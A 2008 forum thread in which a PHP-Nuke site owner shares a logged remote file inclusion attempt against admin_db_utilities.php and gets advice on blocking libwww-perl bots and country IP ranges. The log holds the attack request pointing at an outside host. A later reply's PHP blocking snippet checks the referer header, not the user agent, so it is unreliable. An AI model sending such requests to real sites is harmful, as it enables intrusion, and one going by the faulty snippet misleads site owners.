Tried to hack through my forums??

Regular Joined: Feb 18, 2008 Posts: 94

User Agent: libwww-perl/5.65
Query String: www.1unit.org//modules/Forums/admin/admin_db_utilities.php?phpbb_root_path=http://wiki.sertes.nl/tiki/styles/slides/check.txt?
Get String: www.1unit.org//modules/Forums/admin/admin_db_utilities.php?phpbb_root_path=http://wiki.sertes.nl/tiki/styles/slides/check.txt?
Post String: www.1unit.org//modules/Forums/admin/admin_db_utilities.php
Forwarded For: none
Client IP: none
Remote Address: 61.47.10.204
Remote Port: 49813
Request Method: GET
--------------------

were they trying to get in my db?

registered · Posted: Wed Feb 27, 2008 12:11 am

Yes. These are known issues that have been previously fixed.

One thing I would do is block libwww-perl, there are many posts on how to do this.

Posted: Wed Feb 27, 2008 12:52 am

thanks, i will search

Posted: Wed Feb 27, 2008 12:54 am

no search criteria for them, can you post a link it?

Posted: Wed Feb 27, 2008 1:12 am

See here: http://www.ravenphpscripts.com/posts14294-start-25.html

Posted: Wed Feb 27, 2008 1:20 am

is there anyway for me to ban all countries except for united states?

Posted: Wed Feb 27, 2008 1:28 am

doesnt my nuke sentinel already block the list of them?

Posted: Wed Feb 27, 2008 11:38 am

In admin / nukesentinel - you click on "Import data" then choose "Import to Blocked Ranges". Then you choose the countries you want to block from the drop-down menu.

Posted: Wed Feb 27, 2008 2:17 pm

do you reccommend my idea? blocking all countries except for united states. i only want united states members

Posted: Wed Feb 27, 2008 2:28 pm

Note that IP ranges change frequently. One block may be transfered to other countries. So you'd have to keep your Sentinel IP2Country data fairly up-to-date so that you don't block innocent users.

Posted: Wed Feb 27, 2008 2:31 pm

It really depends on what your site is about.
Don't forget that not all bots etc are situated within the United States so banning everything BUT the US might have a negative impact on that.

I know one guy on here does bane just about everything except his street lol and it didn't hurt anything but I'm here to help you understand the broader picture.

Posted: Wed Feb 27, 2008 2:50 pm

my website is a gaming clan for xbox 360 within the us.
when i checked my ip tracking, i seen many dif countries look at my site, i thought why not remove the countries i dont need to see my site.

so your saying i should not do this?
thanks for your input, i value it alot

Posted: Wed Feb 27, 2008 3:15 pm

All I'm saying is you don't have to ban lots of countries just because you CAN. There may be other English speaking countries that might make a valuable contribution to your site with hints, tips etc.

Posted: Wed Feb 27, 2008 4:07 pm

ok how do you unban countries then Smile

Posted: Wed Feb 27, 2008 6:49 pm

i by accident blocked a few.. countires Wink

Posted: Wed Feb 27, 2008 7:27 pm

oneunit wrote:

do you reccommend my idea? blocking all countries except for united states. i only want united states members

I have one site that only allow access from the US and Canada,....supposedly.

It is a pain to keep up, and someone will always find a way in if they want, it seems.

Posted: Wed Feb 27, 2008 7:37 pm

so what things do you reccommend to do to keep these buggers out,

change pass, keep up-to-date site...

do those, but what else

registered · Posted: Wed Feb 27, 2008 8:39 pm

A determined hacker from another country could use a proxy based in the U.S. and get in with no problems. Blocking IPs is not true security.

Posted: Wed Feb 27, 2008 10:48 pm

ok, how do you unblock countires>?

Regular Joined: Sep 12, 2006 Posts: 58 Location: Dsm, IA

Take note of any other ranges you've blocked (not individual ips, those are separate). Go to Blocked Range Menu-Clear All Blocked Ranges. Then re-import the countries you do want to block. There may be a better way of doing it, but it works.

Posted: Thu Feb 28, 2008 1:14 pm

is there any other way?

Posted: Thu Feb 28, 2008 1:41 pm

every tme i try to clear it, it goes to page cannot be displayed..

Posted: Mon Apr 14, 2008 10:41 pm

there are alot of ways to block these but the most easy way is

im not sure if the useragent uses all these but i got some in my sentinel block list for 5.803, 5.805, 5.808 the other numbers i just added to be safe now its not pretty but its effective.

Code:

if($_SERVER['HTTP_REFERER'] === 'libwww-perl/5.801' OR $_SERVER['HTTP_REFERER'] === 'libwww-perl/5.802' OR $_SERVER['HTTP_REFERER'] === 'libwww-perl/5.803' OR $_SERVER['HTTP_REFERER'] === 'libwww-perl/5.804' OR $_SERVER['HTTP_REFERER'] === 'libwww-perl/5.805' OR $_SERVER['HTTP_REFERER'] === 'libwww-perl/5.806' OR $_SERVER['HTTP_REFERER'] === 'libwww-perl/5.807' OR $_SERVER['HTTP_REFERER'] === 'libwww-perl/5.808' OR $_SERVER['HTTP_REFERER'] === 'libwww-perl/5.809'){


die('no!');


}

now i used === just simply as it is quicker than == Razz

registered · Posted: Tue Apr 15, 2008 5:08 am

Actually jakec pointed to the easiest way to block these (libwww) (through .htaccess) and here is my post within that thread which does it:

http://www.ravenphpscripts.com/postp110848.html#110848